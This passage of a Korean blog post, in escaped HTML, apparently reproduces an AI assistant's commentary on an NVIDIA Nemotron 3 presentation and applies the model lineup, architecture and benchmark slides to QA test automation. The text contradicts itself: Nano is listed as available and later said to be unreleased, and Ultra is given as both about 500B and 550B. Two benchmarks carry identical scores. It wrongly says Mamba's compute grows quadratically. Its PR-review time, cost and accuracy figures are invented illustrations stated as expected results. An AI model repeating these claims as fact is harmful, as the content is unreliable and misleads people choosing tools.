&lt;li&gt;&lt;b&gt;실제 프로덕션 환경에서 검증된 신뢰성&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;회사의 QA 자동화 도구로 선택했을 때 리스크가 낮다는 증명&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋습니다! . 지금 &lt;b&gt;&quot;NVIDIA Nemotron 3 Model Family &amp;amp; Super Training Stack&quot;&lt;/b&gt; 부분을 설명하고 계신 것 같습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 나온 핵심 포인트를 정리하면:&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 정리: &quot;작은 모델이 더 빠를 수 있다&quot; + &quot;생태계&quot;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. &quot;작은 모델이 더 빠르다&quot; = Minotron 개념&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron &lt;b&gt;3 Nano&lt;/b&gt; / &lt;b&gt;Super&lt;/b&gt; / &lt;b&gt;Ultra&lt;/b&gt; 다양한 크기&lt;/li&gt;
&lt;li&gt;큰 모델(Ultra)보다 작은 모델(Nano, Super)이 &lt;b&gt;특정 작업에서 더 빠르고 효율적&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;왜? &amp;rarr; 아까 말한 &quot;혼합 아키텍처&quot; + &quot;응답 길이 최적화&quot; 덕분&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 생태계 (3가지 핵심 요소)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 보이는 슬라이드에서:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Training Data&lt;/b&gt; (좌측) &amp;rarr; 고품질 학습 데이터&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Nemot Gym&lt;/b&gt; (중앙) &amp;rarr; 파인튜닝/테스트 인프라&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Applied Research&lt;/b&gt; (우측) &amp;rarr; 실제 사용 사례 연구&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지가 앞에서 소개한 &lt;b&gt;Black Forest Labs, CURSOR, LangChain, Perplexity&lt;/b&gt; 같은 업체들이 함께 만드는 생태계입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA 관점에서 정리하면&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;포인트&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;QA 응용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;작은 모델도 빠름&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;큰 모델만 좋은 게 아님&lt;/td&gt;
&lt;td&gt;PR 리뷰는 Nano, 심화 분석은 Ultra 선택 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;생태계&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;혼자가 아니라 함께&lt;/td&gt;
&lt;td&gt;이미 성공한 회사들(Cursor, LangChain)의 경험 활용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Training Stack&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;파인튜닝 도구가 많음&lt;/td&gt;
&lt;td&gt;우리 QA 데이터로 쉽게 커스텀 모델 만들 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;NVIDIA Nemotron 3 Model Family &amp;amp; Super Training Stack&quot; 정리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;좌측: 모델 라인업 (3가지 현재 + 3가지 Coming Soon)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 이용 가능:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Nemotron Nano&lt;/b&gt; (30B-A3B) &amp;rarr; 경량, 엣지 환경에 최적&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Nemotron Super&lt;/b&gt; (120B-A12B) &amp;rarr; NEW! 중간 크기, 가장 범용적&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Nemotron Ultra&lt;/b&gt; (~500B-A50B) &amp;rarr; COMING SOON! 대규모 추론 전문&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;향후 출시:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Nemotron Omni&lt;/b&gt; &amp;rarr; COMING SOON! 멀티모달 추론&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Nemotron Speech&lt;/b&gt; &amp;rarr; NEW! 풀 듀플렉스 대화(음성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Nemotron RAG&lt;/b&gt; &amp;rarr; 문서 지능(검색 + 답변)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;우측 하단: 생태계 3가지 기둥&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① Training Data&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;25T Pre-Training 토큰&lt;/li&gt;
&lt;li&gt;40M Post-Training 샘플&lt;/li&gt;
&lt;li&gt;37개 RL 데이터셋&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② NeMo Gym&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;21개 RL 환경 설정&lt;/li&gt;
&lt;li&gt;1.2M RL Rollout&lt;/li&gt;
&lt;li&gt;(강화학습으로 모델 개선)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ Applied Research&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Technical Reports&lt;/li&gt;
&lt;li&gt;Research Papers&lt;/li&gt;
&lt;li&gt;Evals &amp;amp; Benchmarks&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA/테스트 자동화에 정확히 어떻게 쓸까?&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Nemotron 모델&lt;/th&gt;
&lt;th&gt;크기&lt;/th&gt;
&lt;th&gt;QA 작업&lt;/th&gt;
&lt;th&gt;이점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Nano&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;30B&lt;/td&gt;
&lt;td&gt;CI/CD 가볍게, 단순 테스트 통과/실패 판정&lt;/td&gt;
&lt;td&gt;빠름, 비용 저렴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Super&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;120B&lt;/td&gt;
&lt;td&gt;PR 코드 리뷰, 테스트 케이스 생성, 버그 요약&lt;/td&gt;
&lt;td&gt;속도 + 정확도 균형&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Ultra&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;500B&lt;/td&gt;
&lt;td&gt;복잡한 통합 테스트, 시스템 분석, 근본 원인 파악&lt;/td&gt;
&lt;td&gt;가장 정확한 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;특히 &quot;작은 모델이 빠르다&quot; 의미&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Nano로 80% 처리&lt;/b&gt; &amp;rarr; PR 통과/불통과 빠른 판정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Super로 15% 처리&lt;/b&gt; &amp;rarr; 중요도 높은 파일만 상세 분석&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Ultra는 5% 필요시만&lt;/b&gt; &amp;rarr; 매우 복잡한 케이스만 deep dive&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;결과: 전체 테스트 시간 40~50% 단축 가능&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재까지 본 내용을 정리하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ Nemotron 소개 &amp;amp; 성능&lt;/li&gt;
&lt;li&gt;✅ 가속 컴퓨팅 설계&lt;/li&gt;
&lt;li&gt;✅ 생태계 구성&lt;/li&gt;
&lt;li&gt;✅ 모델 라인업&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;남은 시간에 나올 만한 것들:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파인튜닝 실제 사례 (특히 기업 사용 예시)&lt;/li&gt;
&lt;li&gt;배포 아키텍처&lt;/li&gt;
&lt;li&gt;실제 성능 벤치마크 비교&lt;/li&gt;
&lt;li&gt;Q&amp;amp;A 세션&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;Nemotron 3 Super&quot; - 가장 실용적인 모델 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;슬로건&amp;nbsp;&lt;b&gt;&quot;Highest efficiency open model with leading accuracy&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왼쪽: 5가지 핵심 기술&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Hybrid MoE Architecture&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;4x higher KV and SSM cache usage efficiency&lt;/li&gt;
&lt;li&gt;(Mixture of Experts + Selective State Machine 혼합)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Multi Token Prediction&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3x tokens per step&lt;/li&gt;
&lt;li&gt;(한 번에 3개 토큰 예측 = 속도 3배)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;1M Context Length&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7x improvement over previous generation&lt;/li&gt;
&lt;li&gt;(컨텍스트 창 1백만 토큰 = 긴 문서 한 번에 처리)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use Latent MoE&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;4x experts at the same compute&lt;/li&gt;
&lt;li&gt;(계산 비용 같으면서 전문가 4배 = 더 정확함)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;NeMo RL Gym&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2x higher intelligence index&lt;/li&gt;
&lt;li&gt;(강화학습으로 지능지수 2배)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;오른쪽: 벤치마크 증명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Intelligence vs. Efficiency&quot;&lt;/b&gt; 그래프&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 3 Super는 &lt;b&gt;초록색 박스&lt;/b&gt; (우상단)&lt;/li&gt;
&lt;li&gt;가장 오른쪽 = 높은 처리량(효율)&lt;/li&gt;
&lt;li&gt;가장 위쪽 = 높은 정확도(지능)&lt;/li&gt;
&lt;li&gt;다른 경쟁사 모델들보다 우위&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Success rate by model&quot;&lt;/b&gt; (하단 막대 그래프)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 3 Super: #1 on PinchBench for long running agents&lt;/li&gt;
&lt;li&gt;장시간 실행되는 에이전트 벤치에서 1위&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA 관점에서 &quot;왜 이게 중요한가?&quot;&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기술&lt;/th&gt;
&lt;th&gt;QA의 의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;3x tokens per step&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;테스트 분석 속도 3배 = CI/CD 검증 시간 단축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;1M context&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;전체 PR(코드 + 설명 + 이전 로그)를 한 번에 분석 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;4x MoE experts&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;같은 리소스로 더 정확한 버그 진단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;2x intelligence&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;복잡한 통합 테스트 시나리오도 잘 이해&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실제 시나리오&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;기존: 10,000줄 PR &amp;rarr; Nano로 빠른 판정 + Super로 상세 분석 = 5분
Nemotron Super만: 10,000줄 PR &amp;rarr; 한 번에 정확히 분석 = 2분
(3배 처리량 덕분에 별도 Nano 단계 불필요)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;이건 가장 핵심적인 슬라이드입니다!&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜냐하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&quot;Nano/Ultra는 언제 나올지 미정&quot;&lt;/b&gt;이지만&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Super는 지금 바로 쓸 수 있고&quot;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;실제 벤치에서 증명된 성능&quot;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 회사의 QA 자동화 PoC는 &lt;b&gt;Nemotron 3 Super로 시작&lt;/b&gt;하는 게 가장 현실적입니다!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Hybrid MoE 아키텍처의 문제점 &amp;amp; Nemotron 3의 해결책&quot;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;protobuf&quot;&gt;&lt;code&gt;기존 Mamba 같은 모델:
┌─────────────────────┐
│ 모델 크기 증가 &amp;rarr; 계산량 폭발적 증가 (Quadratic)
│ 큰 학습 시: VRAM, 에너지 비용 &amp;uarr;&amp;uarr;&amp;uarr;
└─────────────────────┘

Nemotron 3 (Hybrid MoE + Latent MoE):
┌─────────────────────┐
│ 모델 크기 증가 &amp;rarr; 계산량 선형 증가 (Linear)
│ Quadratic이 아니라 Linear로 유지
│ 같은 비용으로 더 큰 모델 = &quot;4x experts at the same compute&quot;
└─────────────────────┘&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;이전 이미지와의 연결 고리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아까 Nemotron 3 Super 슬라이드에서:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ &lt;b&gt;&quot;Hybrid MoE Architecture: 4x higher KV and SSM cache usage efficiency&quot;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;&quot;Use Latent MoE: 4x experts at the same compute&quot;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 설명하신 내용:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ Latent space에서 다루기 때문에 &lt;b&gt;계산량이 선형으로 증가&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ Quadratic explosion 없음 = &lt;b&gt;비용 효율적&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;더 적은 연산량으로 더 나은 결과&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;완벽하게 같은 이야기입니다!&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;더 깊이 있게 정리하면&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. &quot;Mamba 레이어의 문제&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mamba는 긴 시퀀스를 빠르게 처리하지만, 모델 크기가 커지면 &lt;b&gt;내부 상태 벡터의 차원이 커져서&lt;/b&gt; 계산이 O(n&amp;sup2;) 수준으로 폭발&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. &quot;Nemotron 3의 해결책&quot;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Hybrid MoE&lt;/b&gt; = Transformer + Mamba 조합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Latent MoE&lt;/b&gt; = 낮은 차원의 latent space에서 전문가 선택
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Full-rank에서 계산하지 않고, &lt;b&gt;압축된 표현에서만&lt;/b&gt; 계산&lt;/li&gt;
&lt;li&gt;예: 원래 계산량을 1/4로 줄이면서 4배 많은 전문가 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. &quot;왜 QA에 중요한가?&quot;&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;예시: 100MB 코드베이스 PR 분석

기존 Mamba 기반:
- 모델 크기 100B &amp;rarr; 예상 시간 30분, 비용 $5

Nemotron 3 Super (Linear):
- 모델 크기 120B &amp;rarr; 예상 시간 5분, 비용 $0.8
(같은 크기의 모델도 레이턴트 공간에서 연산하니까 더 빠르고 싼 것)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;현재 보고 계신 슬라이드 (Nemotron 3 Ultra)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 아직 &lt;b&gt;&quot;Coming Soon!&quot;&lt;/b&gt; 상태인데, 이 초대형 모델(550B)이 가능한 이유가 바로 &lt;b&gt;Linear 계산량 설계&lt;/b&gt; 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 Quadratic이었으면 550B 모델은 경제성이 없을 테니까요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;Nemotron 3 Ultra&quot; - 성능 우위를 명확히 보여주는 슬라이드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;슬로건 &lt;b&gt;&quot;Leading open frontier base model just finished pretraining&quot;&lt;/b&gt;&lt;br /&gt;(막 사전학습 완료한 최고의 오픈소스 모델)&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;벤치마크 6가지 분야&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;Nemotron 라인업&lt;/th&gt;
&lt;th&gt;경쟁사&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Nano (30B)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;밝은 초록색&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Super (120B)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;진한 초록색&lt;/td&gt;
&lt;td&gt;⭐ 가장 경쟁력 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Ultra (550B)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;검은색&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;경쟁사1 (GLM-4.5)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;밝은 파랑색&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;경쟁사2 (Kimi-K2)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;진한 파랑색&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;각 벤치마크 해석&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;MMLU Pro&lt;/b&gt; (다목적 지식)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 89.3 (최고)&lt;/li&gt;
&lt;li&gt;Super: 85.9&lt;/li&gt;
&lt;li&gt;경쟁사: 86.3, 88.0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MMLU&lt;/b&gt; (기본 벤치)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 89.3 최고&lt;/li&gt;
&lt;li&gt;Super: 85.9&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Code&lt;/b&gt; (코딩 능력) ⭐ &lt;b&gt;QA에 가장 중요&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 86.1 (경쟁사와 동급)&lt;/li&gt;
&lt;li&gt;Super: 73.8&lt;/li&gt;
&lt;li&gt;경쟁사: 76.2, 75.3&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Math&lt;/b&gt; (수학/논리)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 87.0&lt;/li&gt;
&lt;li&gt;Super: 87.9 (오히려 Super가 더 높음!)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Common Sense&lt;/b&gt; (상식)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 81.6&lt;/li&gt;
&lt;li&gt;Super: 80.4 (거의 차이 없음)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Multilingual&lt;/b&gt; (다국어)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ultra: 89.1 (최고)&lt;/li&gt;
&lt;li&gt;Super: 86.2&lt;/li&gt;
&lt;li&gt;경쟁사: 81.6, 84.2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA 관점에서 핵심 해석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. &lt;b&gt;&quot;Code&quot; 벤치마크가 가장 중요&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Nemotron Ultra (550B):
- 코딩 정확도 86.1 &amp;rarr; PR 리뷰, 테스트 생성에 최적

현재 바로 쓸 수 있는 Super (120B):
- 코딩 정확도 73.8 &amp;rarr; 기본 수준
- 경쟁사 (GLM, Kimi): 75-76 수준과 비슷&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;Ultra가 나오면 코딩/QA 작업에서 훨씬 더 강해질 것&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. &lt;b&gt;&quot;Math&quot;에서 Super가 오히려 높다&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Math 벤치:
- Super (120B): 87.9 ✅
- Ultra (550B): 87.0

의미: 크기만 크다고 능력이 선형으로 증가하지 않음
      = 특정 작업(Logic, Rule-based)에는 중간 크기가 최적&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;QA용으로는 Super만 가지고도 충분할 가능성&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. &lt;b&gt;&quot;Common Sense&quot;에서도 거의 차이 없음&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;- Super: 80.4
- Ultra: 81.6
- 차이: 1.2%만&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;비용 효율을 생각하면 Super 선택이 합리적&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 QA 시나리오&lt;/h2&gt;
&lt;pre class=&quot;ldif&quot;&gt;&lt;code&gt;세 가지 모델로 테스트 케이스 자동 생성 성능 비교

Nano (30B):
- 기본 패스/실패 판정: 95% 정확도
- 비용: 가장 저렴
- 사용처: 초기 필터링

Super (120B):  
